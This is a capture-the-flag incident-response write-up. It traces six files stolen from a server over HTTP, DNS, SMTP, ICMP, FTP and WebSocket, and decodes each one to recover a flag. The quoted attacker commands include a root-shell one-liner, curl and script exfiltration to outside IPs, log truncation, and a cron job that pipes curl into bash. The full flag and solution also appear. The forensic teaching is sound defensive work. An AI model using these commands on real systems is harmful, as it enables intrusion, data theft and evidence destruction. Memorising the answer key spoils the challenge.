Six Ways Out: Incident Response
On this page
Flag: KPMG_CTF{Q7k2mLpk91Xv2QaHncfuEY92kLxP83LmQa7vQm91XeLm92Qx7P}
Files: network/exfiltration.pcap, network/conn.log, endpoint/{auth,audit,syslog,application}.log, endpoint/bash_history.txt
Category: Incident response (network forensics + endpoint log analysis)
Scenario
Your SOC has detected suspicious outbound network activity originating from the production server prod-web-03 (10.0.1.15). […] an attacker accessed sensitive files on the host and exfiltrated their contents over the network. […] The Bash history is incomplete, as portions of it appear to have been removed. Multiple sensitive files were accessed and exfiltrated during the incident. Each exfiltrated file contains one part of the final flag.
Flag format:
KPMG_CTF{PART1PART2PART3...}
The title gives it away: six files leave the box over six different channels, each with its own encoding. The endpoint logs say what was taken and how it was encoded; the pcap holds the actual bytes.
| # | Stolen file | Channel | Destination | Encoding | Part |
|---|---|---|---|---|---|
| 1 | /opt/app/config/production.env |
HTTP POST /api/update |
198.244.146.163:80 |
XOR mango-47 → Base32 (no padding) |
Q7k2mLp |
| 2 | /opt/hr/employee_records.csv |
DNS A-queries | 66.132.172.130:53 |
Base32, 30-char labels | k91Xv2Qa |
| 3 | (source file → 3 QR codes) | SMTP email attachments | 20.122.142.214:25 |
QR code PNGs | HncfuEY92kL |
| 4 | /var/backups/data.dump |
ICMP echo payloads | 221.162.63.50 |
XOR raven-19 |
xP83LmQa |
| 5 | /opt/finance/q3_forecast.xlsx |
FTP STOR (passive) |
198.244.146.163:21/30001 |
gzip → Base64 | 7vQm91Xe |
| 6 | /srv/app/releases/release-notes.txt |
WebSocket /ws/metrics |
66.132.172.130:8080 |
openssl enc AES-256-CBC (Storm-Wind-2026) → Base64 |
Lm92Qx7P |
1. Endpoint timeline
Initial access and privilege escalation
application.log and syslog.log show a request to the export API from an outside address,
immediately followed by the export worker crashing:
[2026-09-22 09:13:50] gunicorn.access 45.89.125.17 "POST /api/v1/export HTTP/1.1" 200 ... python-requests/2.28.0
[2026-09-22 09:13:51] [WARN] [app.export] Subprocess execution reported unexpected stderr output
[2026-09-22 09:13:52] [ERROR] [app.export] Export worker subprocess exited abnormally; output suppressed
Two seconds later the web user becomes root (auth.log):
Sep 22 09:14:05 prod-web-03 sudo: www-data : ... USER=root ; COMMAND=/usr/bin/python3 -c import os; os.setuid(0); os.system("/bin/bash -i")
Sep 22 09:14:07 prod-web-03 su[19234]: Successful su for root by www-data
So: command injection in /api/v1/export → shell as www-data → a sudo misconfiguration allowing
python3 as root → root shell. The SSH logins from 99.56.34.67 (admin, public key) are the
legitimate admin and are not part of the attack.
What the attacker ran
bash_history.txt is partial, so I cross-checked it against audit.log, whose EXECVE records
keep the full argument list of every command:
$ grep EXECVE endpoint/audit.log | sed -E 's/^type=EXECVE msg=audit\(([0-9]+)\.[0-9]+:([0-9]+)\): argc=[0-9]+ //'
a0="python3" a1="-c" a2="import os; os.setuid(0); os.system('/bin/bash -i')"
a0="id"
a0="whoami"
...
a0="cat" a1="/opt/app/config/production.env"
a0="cat" a1="/opt/hr/employee_records.csv"
a0="cat" a1="/var/backups/data.dump"
a0="cat" a1="/srv/app/releases/release-notes.txt"
a0="ls" a1="/opt/finance/"
...
a0="printf" a1="bWFuZ28tNDc="
a0="base64" a1="-d"
a0="printf" a1="cmF2ZW4tMTk="
a0="base64" a1="-d"
a0="printf" a1="U3Rvcm0tV2luZC0yMDI2"
a0="base64" a1="-d"
a0="python3" a1="/tmp/.s/stage.py" a2="xor" a3="$KEY1" a4="/opt/app/config/production.env" a5="/tmp/.s/p1.dat"
a0="base32"
a0="fold" a1="-w" a2="30"
a0="python3" a1="/tmp/.s/gen_qr.py" a2="/tmp/.s/p3_src.dat" a3="3" a4="/tmp/.s/"
a0="python3" a1="/tmp/.s/stage.py" a2="xor_hex" a3="$KEY4" a4="/var/backups/data.dump" a5="/tmp/.s/p4.dat"
a0="7z" a1="a" a2="-tgzip" a3="/tmp/.s/p5_raw.gz" a4="/opt/finance/q3_forecast.xlsx"
a0="base64" a1="/tmp/.s/p5_raw.gz"
a0="openssl" a1="enc" a2="-aes-256-cbc" a3="-salt" a4="-md" a5="sha256" a6="-pass" a7="pass:${KEY6}" ...
a0="base64" a1="/tmp/.s/r.enc"
a0="curl" ... a5="@/tmp/.s/p1.dat" ... a8="http://198.244.146.163/api/update"
a0="python3" a1="/tmp/.s/exfil.py" a2="dns" a3="/tmp/.s/p2.dat" a4="66.132.172.130" a5="npmjs-registry.net"
a0="python3" a1="/tmp/.s/exfil.py" a2="smtp" a3="/tmp/.s/q1.png" a4="/tmp/.s/q2.png" a5="/tmp/.s/q3.png" a6="20.122.142.214" ...
a0="python3" a1="/tmp/.s/exfil.py" a2="icmp" a3="/tmp/.s/p4.dat" a4="221.162.63.50"
a0="python3" a1="/tmp/.s/exfil.py" a2="ftp" a3="/tmp/.s/p5.dat" a4="198.244.146.163" a5="svc_backup" a6="daily_metrics.dat"
a0="python3" a1="/tmp/.s/exfil.py" a2="ws" a3="/tmp/.s/p6.dat" a4="66.132.172.130" a5="8080" a6="/ws/metrics"
a0="rm" a1="-f" a2="/tmp/.s/p5_raw.gz" a3="/tmp/.s/r.enc" a4="/tmp/.s/p1.dat" a5="/tmp/.s/p4.dat"
a0="find" a1="/var/log" a2="-name" a3="*.log" a4="-exec" a5="truncate" a6="-s" a7="0" a8="{}" a9="+"
a0="sh" a1="-c" a2="echo '* * * * * root /usr/bin/curl -s http://198.244.146.163/api/ping 2>/dev/null | /bin/bash' > /etc/cron.d/sys-health-check"
The three Base64 strings are the keys:
$ printf 'bWFuZ28tNDc=' | base64 -d # KEY1
mango-47
$ printf 'cmF2ZW4tMTk=' | base64 -d # KEY4
raven-19
$ printf 'U3Rvcm0tV2luZC0yMDI2' | base64 -d # KEY6
Storm-Wind-2026
Clean-up and persistence follow: temp files deleted, every *.log under /var/log truncated
(syslog confirms /var/log/auth.log and /var/log/syslog “truncated to 0” at 09:48), and a
root cron job that pipes http://198.244.146.163/api/ping into bash every minute (it fires at
09:53 and 09:54).
Don’t trust the history blindly. The history and the pcap disagree in two places: the HTTP body is Base32 text, not raw XOR output, and the ICMP payload is raw XORed bytes, not the hex the history suggests. The pcap is the ground truth; the logs are a map.
Syslog = the exfiltration index
syslog.log lists every outbound channel in order, which is the checklist for the pcap:
09:40:15 TCP: 10.0.1.15:43847 -> 198.244.146.163:80 SYN
09:41:08 UDP: 10.0.1.15 -> 66.132.172.130:53 (burst, 19 queries)
09:42:18 TCP: 10.0.1.15:44201 -> 20.122.142.214:25 SYN
09:43:35 ICMP: 10.0.1.15 -> 221.162.63.50 type=8 (burst, id=0xc0de)
09:44:55 TCP: 10.0.1.15:43301 -> 198.244.146.163:21 SYN
09:45:05 TCP: 10.0.1.15:44350 -> 198.244.146.163:30001 SYN <- FTP passive data channel
09:46:55 TCP: 10.0.1.15:43401 -> 66.132.172.130:8080 SYN
2. Network triage
$ grep -v '^#' network/conn.log | awk '{print $3,$5,$6,$7}' | sort | uniq -c | sort -rn
43 10.0.1.15 216.239.35.0 123 udp <- NTP
38 10.0.1.15 1.1.1.1 53 udp <- normal DNS
33 10.0.1.15 8.8.8.8 53 udp <- normal DNS
20 10.0.1.15 221.162.63.50 -1 icmp <- Part 4
19 10.0.1.15 66.132.172.130 53 udp <- Part 2
15 10.0.1.15 44.228.151.3 80 tcp <- health checks
12 199.23.42.199 10.0.1.15 9090 tcp <- Prometheus scrapes
...
1 10.0.1.15 66.132.172.130 8080 tcp <- Part 6
1 10.0.1.15 20.122.142.214 25 tcp <- Part 3
1 10.0.1.15 198.244.146.163 30001 tcp <- Part 5 (data)
1 10.0.1.15 198.244.146.163 21 tcp <- Part 5 (control)
1 10.0.1.15 178.75.98.111 25 tcp <- decoy
1 10.0.1.15 178.75.98.111 23052 tcp <- decoy
1 10.0.1.15 178.75.98.111 21 tcp <- decoy
The attacker infrastructure is 198.244.146.163, 66.132.172.130, 20.122.142.214 and 221.162.63.50, which are exactly the hosts in the audit log.
Decoys from 178.75.98.111: an SMTP “[MON] prod-web-03 09:20 report” email with CPU/RAM/disk
stats, an FTP STOR system_backup_20260922.tar.gz to backup.internal, a 484-byte PK-prefixed
upload on port 23052, and ordinary 56-byte pings. None of them appears in the attacker’s commands,
so they are noise designed to look like exfiltration.
tshark/scapy weren’t installed, so I used a small stdlib-only pcap parser (pcap.py,
Appendix) that reassembles TCP streams by sequence number and lists
UDP/ICMP packets.
$ python3 pcap.py network/exfiltration.pcap
...
10.0.1.15:45318 -> 198.244.146.163:80 424 bytes b'POST /api/update HTTP/1.1\r\nHost: 198.244.146.163...'
10.0.1.15:49613 -> 20.122.142.214:25 2673 bytes b'EHLO prod-web-03.internal\r\nMAIL FROM:<svc-reports@...'
10.0.1.15:49810 -> 198.244.146.163:21 84 bytes b'USER svc_backup\r\nPASS DailyBackup!2026\r\nTYPE I\r\nPASV...'
10.0.1.15:47766 -> 198.244.146.163:30001 12052 bytes b'H4sICKxDvWoEAHEzX2ZvcmVjYXN0Lnhsc3gA7VoFU1zRDl68...'
10.0.1.15:48735 -> 66.132.172.130:8080 559 bytes b'GET /ws/metrics HTTP/1.1\r\nHost: 66.132.172.130:8080...'
...
3. Part 1: HTTP POST (production.env)
POST /api/update HTTP/1.1
Host: 198.244.146.163
Content-Type: application/x-www-form-urlencoded
Content-Length: 237
User-Agent: libcurl/7.88.1
FQYT4OBBNR4XEUAIAAJQUX22KYAUYHQGCZAFCWIZJQHROBRAHZZS6PRGFA6HSCKTB5GB4FIAJENF4AYVBMKQCTCYHJTSKLBY
HJ7HCZKQAAPBOMC6KFCRWCANAJRCO4DVGIYS6NB4PJ5WKKK4E4VQAW2RPQ6SYKJYDJNECFTANMVSSOLEMZ4CGLBLFE5RARCF
AICRWBA3IRNVSYDLMNWWEJ3EOY7TKMKWKJ6AGXC7BQRBO
The body only uses A-Z2-7 → Base32. It is 237 characters, which is not a multiple of 8, so
the = padding was stripped and b32decode fails with Incorrect padding until it’s restored.
Then XOR with KEY1:
$ python3 -c "
import sys,base64; sys.path.insert(0,'.')
from pcap import tcp_streams
st=tcp_streams('exfiltration.pcap')
req=next(v for k,v in st.items() if k[2:]==('198.244.146.163',80) and v.startswith(b'POST'))
body=req.split(b'\r\n\r\n',1)[1].strip()
raw=base64.b32decode(body+b'='*(-len(body)%8))
k=b'mango-47'
print(bytes(b^k[i%len(k)] for i,b in enumerate(raw)).decode())"
APP_NAME=internal-payment-api
DB_HOST=db-prod.internal
DB_USER=app_service
DB_PASSWORD=ILoveKPMG_uwu!
ENVIRONMENT=production
PART_1=Q7k2mLp
Part 1 = Q7k2mLp
4. Part 2: DNS tunnel (employee_records.csv)
The 19 queries to 66.132.172.130 (matches “burst, 19 queries” in syslog) are 5 cover lookups
followed by 14 data chunks under the typosquatted domain npmjs-registry.net:
$ python3 -c "
import sys,struct; sys.path.insert(0,'.')
from pcap import udp
for ts,s,sp,d,dp,pay in udp('exfiltration.pcap'):
if dp==53 and d=='66.132.172.130':
o=12; l=[]
while pay[o]: l.append(pay[o+1:o+1+pay[o]].decode()); o+=1+pay[o]
print(struct.unpack('>H',pay[:2])[0], '.'.join(l))"
37622 registry.npmjs-registry.net
41688 cdn.npmjs-registry.net
7710 api.npmjs-registry.net
64451 auth.npmjs-registry.net
35940 updates.npmjs-registry.net
27312 MVWXA3DPPFSWKX3JMQEW4YLNMUEWIZ.npmjs-registry.net
7866 LQMFZHI3LFNZ2AS4TFNVQXE23TBUFE.npmjs-registry.net
...
50467 JRLB3DEULBBUFA.npmjs-registry.net
Each label is exactly 30 characters (the last is shorter), matching base32 | tr -d '\n' | fold -w 30
from the history. Join the Base32 labels in capture order and decode:
$ python3 -c "
import sys,base64,re; sys.path.insert(0,'.')
from pcap import udp
ch=[]
for ts,s,sp,d,dp,pay in udp('exfiltration.pcap'):
if dp==53 and d=='66.132.172.130':
o=12; l=[]
while pay[o]: l.append(pay[o+1:o+1+pay[o]].decode()); o+=1+pay[o]
if re.fullmatch(r'[A-Z2-7]+',l[0]): ch.append(l[0])
b=''.join(ch)
print(base64.b32decode(b+'='*(-len(b)%8)).decode())"
employee_id name department remarks
EMP001 Divas DevOps Needs to be promoted
EMP002 Nanda CyberSecurity Needs to be promoted
EMP003 Vishal Human Resource Needs to be demoted
EMP004 Shiva Finance On Notice Period
EMP005 Varun SOC PART_2: k91Xv2Qa
Part 2 = k91Xv2Qa
5. Part 3: SMTP with QR-code attachments
The SMTP session to 20.122.142.214 is a fake finance email carrying three PNGs. Python’s
email module parses the DATA section and writes out the attachments:
$ python3 -c "
import sys,email; sys.path.insert(0,'.')
from pcap import tcp_streams
st=tcp_streams('exfiltration.pcap')
s=next(v for k,v in st.items() if k[2:]==('20.122.142.214',25))
cmds,data=s.split(b'DATA\r\n',1); print(cmds.decode())
msg=email.message_from_bytes(data.split(b'\r\n.\r\n')[0])
for h in ('From','To','Subject'): print(h+':',msg[h])
for p in msg.walk():
if p.get_filename():
b=p.get_payload(decode=True); open(p.get_filename(),'wb').write(b); print('saved',p.get_filename(),len(b))"
EHLO prod-web-03.internal
MAIL FROM:<svc-reports@prod-web-03.internal>
RCPT TO:<finance.archive@external.example>
From: svc-reports@prod-web-03.internal
To: finance.archive@external.example
Subject: Monthly Reconciliation Report - September 2026
saved q3_recon_0001.png 344
saved q3_recon_0002.png 346
saved q3_recon_0003.png 344
$ file q3_recon_000*.png
q3_recon_0001.png: PNG image data, 145 x 145, 8-bit grayscale, non-interlaced
...
Each image is a QR code (version 1, 21×21 modules at 5 px with a 20 px quiet zone). Decoding
all three with a QR reader (e.g. zbarimg --raw q3_recon_000*.png, package zbar-tools) gives:
PART_3A: Hnc
PART_3B: fuEY
PART_3C: 92kL
This matches the history line gen_qr.py /tmp/.s/p3_src.dat 3, which splits one file into
3 QR codes. Concatenated in order:
Part 3 = HncfuEY92kL
6. Part 4: ICMP tunnel (data.dump)
The pings to 221.162.63.50 use the custom identifier 0xc0de (also in syslog) and carry
20-byte payloads that the remote end echoes back:
$ python3 -c "
import sys; sys.path.insert(0,'.')
from pcap import icmp
for ts,s,d,t,i,q,p in icmp('exfiltration.pcap'):
if d=='221.162.63.50': print(f'type={t} id={i:#06x} seq={q} len={len(p)} {p[:20]!r}')"
type=8 id=0xc0de seq=1 len=20 b'_LV5\x01^E^\x00\x04%4"\rUX\x06\x00\x14\x04'
type=8 id=0xc0de seq=2 len=20 b'\x1dH\x11]\x07\x0c\x06hd\x00\x1c\x196\x00\x02\x04\x0cLB\\'
...
type=8 id=0xc0de seq=20 len=8 b'\rB\\I\x1e\x04\x02\x00'
The payloads are raw bytes (not hex, despite --encode 'hex' in the history). Take only the
echo requests (type 8), order them by sequence number, and XOR with KEY4:
$ python3 -c "
import sys; sys.path.insert(0,'.')
from pcap import icmp
pk={q:p for ts,s,d,t,i,q,p in icmp('exfiltration.pcap') if d=='221.162.63.50' and t==8 and i==0xc0de}
raw=b''.join(pk[q] for q in sorted(pk)); k=b'raven-19'
print(bytes(b^k[i%len(k)] for i,b in enumerate(raw)).decode())"
-- PostgreSQL database dump
-- Database: customer_portal
CREATE TABLE settings (
...
-- Internal challenge metadata
INSERT INTO settings VALUES
(4, 'PART_4', 'xP83LmQa');
-- PostgreSQL database dump complete
20 packets, 388 bytes. Part 4 = xP83LmQa
7. Part 5: FTP upload (q3_forecast.xlsx)
The control channel leaks the credentials and the passive-mode port:
USER svc_backup
PASS DailyBackup!2026
TYPE I
PASV
227 Entering Passive Mode (198,244,146,163,117,49) -> port 117*256+49 = 30001
STOR daily_metrics.dat
150 Opening BINARY mode data connection for daily_metrics.dat
226 Transfer complete
The data connection to port 30001 carries 12,052 bytes of Base64 starting with H4sI, which
is the Base64 form of the gzip magic 1f 8b 08. Base64 → gunzip → the .xlsx (a ZIP):
$ python3 -c "
import sys,base64,gzip; sys.path.insert(0,'.')
from pcap import tcp_streams
st=tcp_streams('exfiltration.pcap')
data=next(v for k,v in st.items() if k[2:]==('198.244.146.163',30001))
x=gzip.decompress(base64.b64decode(data)); open('q3_forecast.xlsx','wb').write(x)
print(len(x), x[:4])"
11635 b'PK\x03\x04'
$ unzip -p q3_forecast.xlsx xl/sharedStrings.xml | grep -o '<t[^>]*>[^<]*</t>' | sed 's/<[^>]*>//g' | tail -3
Revision cycle
Finance reviews assumptions during month-end close
PART_5
The label and value are separate shared strings, so check which cells use them:
$ python3 -c "
import zipfile,re
z=zipfile.ZipFile('q3_forecast.xlsx')
ss=re.findall(r'<si>(.*?)</si>',z.read('xl/sharedStrings.xml').decode(),re.S)
for sh in ('sheet1','sheet2'):
x=z.read(f'xl/worksheets/{sh}.xml').decode()
for c in re.findall(r'<c r=\"(\w+)\" t=\"s\"><v>(\d+)</v>',x):
if c[0] in ('B8','C8') and sh=='sheet2': print(sh,c[0],'=',ss[int(c[1])])"
sheet2 B8 = <t>PART_5</t>
sheet2 C8 = <t>7vQm91Xe</t>
Sheet 2 (“Assumptions”), row 8: PART_5 | 7vQm91Xe. Opening the workbook in LibreOffice shows
the same row. Part 5 = 7vQm91Xe
8. Part 6: WebSocket + AES (release-notes.txt)
The client upgrades GET /ws/metrics to a WebSocket and sends one binary frame. Client-to-server
frames are masked (RFC 6455): every payload byte is XORed with a 4-byte key in the frame
header, so the payload has to be unmasked before it’s readable:
$ python3 -c "
import sys,base64; sys.path.insert(0,'.')
from pcap import tcp_streams
st=tcp_streams('exfiltration.pcap')
c2s=next(v for k,v in st.items() if k[2:]==('66.132.172.130',8080))
rest=c2s.split(b'\r\n\r\n',1)[1]; msgs=[]; o=0
while o<len(rest):
b0,b1=rest[o],rest[o+1]; op=b0&15; masked=b1>>7; ln=b1&127; o+=2
if ln==126: ln=int.from_bytes(rest[o:o+2],'big'); o+=2
elif ln==127: ln=int.from_bytes(rest[o:o+8],'big'); o+=8
mk=rest[o:o+4] if masked else b'\0'*4; o+=4 if masked else 0
p=bytes(x^mk[i%4] for i,x in enumerate(rest[o:o+ln])); o+=ln
print(f'opcode={op} masked={masked} len={ln} mask={mk.hex()} {p[:40]!r}')
if op in (0,1,2): msgs.append(p)
open('r.enc','wb').write(base64.b64decode(b''.join(msgs)))"
opcode=2 masked=1 len=320 mask=2dcf9421 b'U2FsdGVkX198CEy3QJsm2MTDJ9b4TvznV90hHbhe'
opcode=8 masked=1 len=16 mask=88de0ea2 b'\x03\xe8Normal closure'
U2FsdGVkX1 is Base64 for Salted__, the header openssl enc -salt writes (followed by an
8-byte salt, here 7c084cb7409b26d8). The history shows exactly how it was made
(-aes-256-cbc -salt -md sha256 -pass pass:${KEY6}), so decrypt with the same options:
$ openssl enc -d -aes-256-cbc -md sha256 -pass pass:Storm-Wind-2026 -in r.enc
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
Release Notes
=============
Version 4.7.2
- Improved database connection handling
- Updated authentication middleware
- Fixed logging issue
- Updated deployment documentation
Internal release reference:
PART_6: Lm92Qx7P
The -md sha256 matters: without it, older OpenSSL versions derive the key with MD5 and the
decryption fails with bad decrypt. Part 6 = Lm92Qx7P
9. Assemble the flag
PART1 Q7k2mLp
PART2 k91Xv2Qa
PART3 HncfuEY92kL
PART4 xP83LmQa
PART5 7vQm91Xe
PART6 Lm92Qx7P
KPMG_CTF{Q7k2mLpk91Xv2QaHncfuEY92kLxP83LmQa7vQm91XeLm92Qx7P}
IOCs
| Type | Value | Role |
|---|---|---|
| IP | 45.89.125.17 |
Initial access (POST /api/v1/export injection) |
| IP | 198.244.146.163 |
HTTP exfil (/api/update), FTP exfil, cron C2 (/api/ping) |
| IP | 66.132.172.130 |
DNS tunnel resolver, WebSocket exfil (:8080/ws/metrics) |
| IP | 20.122.142.214 |
SMTP exfil (finance.archive@external.example) |
| IP | 221.162.63.50 |
ICMP tunnel (id 0xc0de) |
| Domain | npmjs-registry.net |
DNS tunnel (typosquat of npm registry) |
| Path | /tmp/.s/ |
Attacker staging directory (stage.py, exfil.py, gen_qr.py) |
| Path | /etc/cron.d/sys-health-check |
Persistence: root cron job running curl …/api/ping \| bash every minute |
| Credential | svc_backup / DailyBackup!2026 |
FTP account used for exfil |
Takeaways
- Use the audit log to fill in the bash history.
history -cwiped the shell history, but auditd’sEXECVErecords kept every command with its arguments, including the keys and the exactopenssloptions. - The logs are a map, the pcap is the territory. Two encodings in the history (Part 1’s Base32 wrapper, Part 4’s “hex”) differ from what’s on the wire. Always decode what was actually sent.
- Know the magic strings:
H4sI= Base64 gzip,U2FsdGVkX1= Base64Salted__(OpenSSL),PK\x03\x04= ZIP/XLSX, an all-A-Z2-7string = Base32. - Protocol details matter: stripped Base32 padding, masked WebSocket client frames, FTP’s
PASV port formula (
p1*256+p2), ICMP echo replies duplicating requests, and OpenSSL’s-mddefault all have to be handled to get clean output. - Filter decoys by attribution.
178.75.98.111produces convincing SMTP/FTP/ICMP traffic, but no attacker command ever touches it.
Appendix: pcap.py
Stdlib-only pcap reader used throughout (Ethernet/IPv4, TCP stream reassembly by sequence number):
#!/usr/bin/env python3
"""Minimal stdlib pcap parser: TCP stream reassembly + UDP/ICMP packet lists."""
import struct, sys
from collections import defaultdict
def packets(path):
d = open(path, 'rb').read()
magic = d[:4]
endian = '<' if magic in (b'\xd4\xc3\xb2\xa1', b'\x4d\x3c\xb2\xa1') else '>'
linktype = struct.unpack(endian + 'I', d[20:24])[0]
off = 24
while off + 16 <= len(d):
ts, tus, incl, orig = struct.unpack(endian + 'IIII', d[off:off + 16])
off += 16
frame = d[off:off + incl]
off += incl
if linktype == 1: # Ethernet
eth = struct.unpack('>H', frame[12:14])[0]
if eth != 0x0800:
continue
ip = frame[14:]
elif linktype == 113: # Linux SLL
ip = frame[16:]
else: # raw IP
ip = frame
ihl = (ip[0] & 15) * 4
tot = struct.unpack('>H', ip[2:4])[0]
proto = ip[9]
src = '.'.join(map(str, ip[12:16]))
dst = '.'.join(map(str, ip[16:20]))
yield ts + tus / 1e6, proto, src, dst, ip[ihl:tot]
def tcp_streams(path):
"""Return {(src,sport,dst,dport): bytes} with payload ordered by seq, de-duplicated."""
segs = defaultdict(dict)
first = {}
for ts, proto, src, dst, l4 in packets(path):
if proto != 6:
continue
sp, dp, seq = struct.unpack('>HHI', l4[:8])
doff = (l4[12] >> 4) * 4
pay = l4[doff:]
k = (src, sp, dst, dp)
first.setdefault(k, ts)
if pay:
segs[k][seq] = pay
out = {}
for k in sorted(first, key=first.get):
out[k] = b''.join(segs[k][s] for s in sorted(segs[k]))
return out
def udp(path):
for ts, proto, src, dst, l4 in packets(path):
if proto == 17:
sp, dp = struct.unpack('>HH', l4[:4])
yield ts, src, sp, dst, dp, l4[8:]
def icmp(path):
for ts, proto, src, dst, l4 in packets(path):
if proto == 1:
typ, code, _, ident, seq = struct.unpack('>BBHHH', l4[:8])
yield ts, src, dst, typ, ident, seq, l4[8:]
if __name__ == '__main__':
p = sys.argv[1]
for k, v in tcp_streams(p).items():
print(f'{k[0]}:{k[1]} -> {k[2]}:{k[3]} {len(v)} bytes {v[:70]!r}')